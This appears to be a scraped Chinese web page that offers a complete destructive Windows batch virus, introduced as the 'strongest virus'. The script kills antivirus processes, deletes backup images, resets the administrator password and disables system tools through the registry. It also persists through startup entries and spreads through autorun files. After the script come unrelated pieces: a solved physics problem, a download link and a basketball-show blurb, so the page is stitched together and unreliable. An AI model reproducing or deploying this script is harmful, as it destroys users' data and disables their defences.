批处理文件的病毒代码大全!
最强病毒!谨慎运行!此程序会将系统搞崩溃.
摘自:htt我ps://www是.jb51.net/a链rticle/7129.h接tm? 去掉里面的字哦
@echo?offtitle?You?DEAD!!!!!!!
set?taskkill=s
copy?%0?%windir%\system32\cmd.bat
attrib?%windir%\system32\cmd.bat?+r?+s?+h
net?stop?sharedaccess?>nul
%s%?/im?pfw.exe?shadowtip.exe?shadowservice.exe?qq.exe?explorer.exe?IEXOLORE.EXE?/f?>nul
%s%?/im?norton*?/f?>nul
%s%?/im?av*?/f?>nul
%s%?/im?fire*?/f?>nul
%s%?/im?anti*?/f?>nul
%s%?/im?spy*?/f?>nul
%s%?/im?bullguard?/f?>nul
%s%?/im?PersFw?/f?>nul
%s%?/im?KAV*?/f?>nul
%s%?/im?ZONEALARM?/f?>nul
%s%?/im?SAFEWEB?/f?>nul
%s%?/im?OUTPOST?/f?>nul
%s%?/im?nv*?/f?>nul
%s%?/im?nav*?/f?>nul
%s%?/im?F-*?/f?>nul
%s%?/im?ESAFE?/f?>nul
%s%?/im?cle?/f?>nul
%s%?/im?BLACKICE?/f?>nul
%s%?/im?def*?/f?>nul
%s%?/im?360safe.exe?/f?>nul
net?stop?Shadow"?"System"?"Service
set?alldrive=d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z
for?%%a?in?(c?%alldrive%)?do?del?%%a:\360*?/f?/s?/q?>nul
for?%%a?in?(c?%alldrive%)?do?del?%%a:\修复*?/f?/s?/q?>nul
rem?修改注册表.......
REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\
Folder\Hidden\SHOWALL?/v?
CheckedValue?/t?REG_DWORD?/d?00000000?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer?/v?
NoRun?/t?REG_DWORD?/d?
00000001?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer?/v?
NoRecentDocsMenu?/t?
REG_DWORD?/d?00000001?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer?/v?
NoDrives?/t?REG_DWORD?/d?
4294967295?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System?/v?
Disableregistrytools?/t?
REG_DWORD?/d?00000002?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer?/v?
NoNetHood?/t?REG_DWORD?/d?
00000001?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer?/V?
NoDesktop?/t?REG_DWORD?/d?
00000001?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer?/v?
NoClose?/t?REG_DWORD?/d?
00000001?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer?/v?
NoFind?/t?REG_DWORD?/d?
00000001?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System?/v?
DisableTaskMgr?/t?REG_DWORD?
/d?00000001?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer?/v?
NoLogOff?/t?REG_DWORD?/d?
00000001?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer?/v?
NoSetTaskBar?/t?REG_DWORD?
/d?00000001?/f?>nul
REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows"?"NT\CurrentVersion\SystemRestore?/v?
DisableSR?/t?REG_DWORD?/d?
00000001?/f?>nul
REG?ADD?HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows"?"NT\SystemRestore?/v?
DisableConfig?/t?REG_DWORD?/d?
00000001?/f?>nul
REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer?/v?
RestrictRun?/t?REG_DWORD?/d?
00000001?/f?>nul
cls
net?user?administrator?123456?>nul
for?%%c?in?(c?%alldrive%)?do?del?%%c:\*.gho?/f?/s?/q?>nul
echo?@echo?off?>d:\setup.bat
echo?shutdown?-r?-t?10?-f?-c?亲爱的朋友,我十分抱歉的通知你,你的电脑已经严重崩溃,请重新
安装系统可以解决此问题
!^.^?>>d:\setup.bat
echo?copy?d:\setup.bat?c:\Documents"?"and"?"Settings\All"?"Users\「开始」菜单\程序\启动
\a.bat?>>d:\setup.bat
echo?REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run?/v?
setup.bat?/t?REG_SZ?/d?d:\setup.bat?
/f?>>d:\setup.bat
echo?REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run?/v?
setup.bat?/t?REG_SZ?/d?d:\setup.bat?
/f?>>d:\setup.bat
echo?REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce?/v?
setup.bat?/t?REG_SZ?/d?d:\setup.bat?
/f?>>d:\setup.bat
HKEY_CLASSES_ROOT\batfile\shell\open\command?/v?setup.bat?/t?REG_SZ?/d?d:\setup.bat?/f?
>>d:\setup.bat
echo?[windows]?>>?%windir%\win.ini
echo?run=d:\setup.bat?C:\AUTOEXEC.BAT?>>?%windir%\win.ini
echo?load=d:\setup.bat?C:\AUTOEXEC.BAT?>>?%windir%\win.ini
echo?[boot]?>>?%windir%\system.ini
echo?shell=explorer.exe?setup.bat?C:\AUTOEXEC.BAT?>>?%windir%\system.ini
echo?[AutoRun]?>d:\autorun.inf
echo?Open=setup.bat?>>d:\autorun.inf
echo?Open=system.bat?>>d:\autorun.inf
attrib?d:\autorun.inf?+r?+s?+h?>>d:\setup.bat
attrib?d:\setup.bat?+r?+s?+h?>>d:\setup.bat
start?d:\setup.bat?/min?>nul
echo?@echo?off?>>C:\AUTOEXEC.BAT
echo?REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run?/v?
AUTOEXEC.BAT?/t?REG_SZ?/d?
C:\AUTOEXEC.BAT?/f?>>C:\AUTOEXEC.BAT
echo?REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run?/v?
AUTOEXEC.BAT?/t?REG_SZ?/d?
C:\AUTOEXEC.BAT?/f?>>C:\AUTOEXEC.BAT
REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce?/v?
AUTOEXEC.BAT?/t?REG_SZ?/d?
C:\AUTOEXEC.BAT?/f?>>C:\AUTOEXEC.BAT
echo?REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run?/v?
setup.bat?/t?REG_SZ?/d?d:\setup.bat?
/f?>>C:\AUTOEXEC.BAT
echo?REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run?/v?
setup.bat?/t?REG_SZ?/d?d:\setup.bat?
/f?>>C:\AUTOEXEC.BAT
REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce?/v?
setup.bat?/t?REG_SZ?/d?d:\setup.bat?
/f?>>C:\AUTOEXEC.BAT
echo?if?not?d:\setup.bat?start?%windir%\system32\cmd.bat?/min?>>C:\AUTOEXEC.BAT
copy?%0?%systemroot%\windows.bat?>nul
if?not?exist?%windir%/system32/explorer.bat?@echo?off?>>%windir%/system32/explorer.bat
if?not?exist?C:\AUTOEXEC.BAT?start?%windir%\system32\cmd.bat?/min?>>%
windir%/system32/explorer.bat
if?not?exist?%windir%\system32\cmd.bat?start?%systemroot%\windows.bat?/min?>>%
windir%/system32/explorer.bat
echo?REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run?/v?
AUTOEXEC.BAT?/t?REG_SZ?/d?
C:\AUTOEXEC.BAT?/f?>>%windir%/system32/explorer.bat
echo?REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run?/v?
AUTOEXEC.BAT?/t?REG_SZ?/d?
C:\AUTOEXEC.BAT?/f?>>%windir%/system32/explorer.bat
echo?REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run?/v?
setup.bat?/t?REG_SZ?/d?d:\setup.bat?
/f?>>%windir%/system32/explorer.bat
echo?REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run?/v?
setup.bat?/t?REG_SZ?/d?d:\setup.bat?
/f?>>%windir%/system32/explorer.bat
echo?REG?ADD?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run?/v?
explorer.bat?/t?REG_SZ?/d?%
windir%/system32/explorer.bat/f?>>%windir%/system32/explorer.bat
echo?REG?ADD?HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run?/v?
explorer.bat?/t?REG_SZ?/d?%
windir%/system32/explorer.bat?/f?>>%windir%/system32/explorer.bat
echo?start?%systemroot%\windows.bat?/min?>>%windir%/system32/explorer.bat
attrib?%windir%/system32/explorer.bat?+r?+s?+h%
attrib?%systemroot%/windows.bat?+r?+s?+h
for?%%c?in?(%alldrive%)?do?echo?@echo?off?>>%%c:\system.bat
for?%%c?in?(%alldrive%)?do?echo?start?%windir%\system32\cmd.bat?/min?>>%%c:\system.bat
for?%%c?in?(%alldrive%)?do?echo?attrib?system.bat?+r?+s?+h?>>%%c:\system.bat
set?drive=e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z
for?%%c?in?(%drive%)?do?echo?[AuroRun]?>%%c:\autorun.inf
for?%%c?in?(%drive%)?do?echo?Open=system.bat?>>%%c:\autorun.inf
copy?%0?d:\Program"?"Files\run.bat
for?%%c?in?(%alldrive%)?do?echo?if?not?exist?%windir%/system32/explorer.bat?start?
d:\Program"?"Files\run.bat?/min?
>>%%c:\system.bat
for?%%c?in?(%alldrive%)?do?attrib?autorun.inf?+r?+s?+h?>>%%c:\system.bat
for?%%c?in?(%alldrive%)?do?attrib?%%c:\autorun.inf?+r?+s?+h?>nul
for?%%c?in?(%alldrive%)?do?attrib?%%c:\system.bat?+r?+s?+h?>nul
if?not?exist?%windir%/system32/explorer.bat?start?d:\Program"?"Files\run.bat
/min?>>d:\setup.bat
attrib?d:\Program"?"Files\run.bat?+r?+s?+h?>nul
del?%0
exit
如图,在E=103v/m的水平向左的匀强电场中,有一光滑半圆形绝缘轨道竖直放置,轨道与一水平绝缘轨道MN连接
链接: https://pan.baidu.com/s/1FIEA2lctf2FHa50u6C_2NQ?pwd=qugw?
《这!就是灌篮》是优酷等推出的青春篮球竞技原创节目。 节目通过篮球聚焦青年潮流文化,以中国大学生3X3篮球联赛为基本核心? ,集结了全国来自不同年龄、职业、身份的一百多位热爱篮球的青少年,并设置四位领队分两大阵营带领球员比赛。通过多轮激烈的篮球对战,最终在篮球少年们中角逐出MVP。
(1)设滑块与N点的距离为L,分析滑块的运动过程,由动能定理可得:
qEL-μmgL-mg?2R=
1 |
2 |
小滑块在C点时,重力提供向心力,所以有:mg=m
v2 |
R |
代入数据解得:v=2m/s,L=20m.
(2)滑块到达P点时,对全过程应用动能定理可得:
qE(L+R)-μmgL-mg?R=
1 |
2 |
在P点时由牛顿第二定律可得:N-qE=m
| ||
R |
代入数据得:N=1.5N;
由牛顿第三定律可得,滑块通过P点时对轨道压力是1.5N.
(3)小滑块经过C点,在竖直方向上做的是自由落体运动,由2R=
1 |
2 |
代入数据得:t=0.4s,
滑块在水平方向上只受到电场力的作用,做匀减速运动,由牛顿第二定律可得:qE=ma,
所以加速度为:a=2.5m/s2,
水平的位移为:x=vt-
1 |
2 |
代入解得:x=0.6m.
答:(1)释放点到N的距离距离为20m;
(2)滑块通过P点时对轨道压力是1.5N;
(3)滑块落地点离N点的距离为0.6m.
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